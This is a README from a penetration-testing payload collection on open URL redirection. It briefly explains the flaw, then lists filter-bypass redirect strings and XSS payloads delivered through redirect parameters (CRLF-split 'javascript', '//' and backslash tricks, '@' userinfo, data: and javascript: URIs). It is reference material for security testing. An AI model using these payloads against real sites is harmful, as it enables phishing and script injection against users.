PayloadsAllTheThings/Open redirect/README.md

Open URL Redirection

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.

Exploits

Using CRLF to bypass "javascript" blacklisted keyword

java%0d%0ascript%0d%0a:alert(0)

Using "//" to bypass "http" blacklisted keyword

//google.com

Using "https:" to bypass "//" blacklisted keyword

https:google.com

Using "//" to bypass "//" blacklisted keyword (Browsers see // as //)

\/\/google.com/
/\/google.com/ 

Using "%E3%80%82" to bypass "." blacklisted character

//google%E3%80%82com

Using null byte "%00" to bypass blacklist filter

//google%00.com

Using "@" character, browser will redirect to anything after the "@"

http://www.theirsite.com@yoursite.com/

Creating folder as their domain

http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com

XSS from Open URL - If it's in a JS variable

";alert(0);//

XSS from data:// wrapper

http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==

XSS from javascript:// wrapper

http://www.example.com/redirect.php?url=javascript:prompt(1)

Thanks to

• filedescriptor
• https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet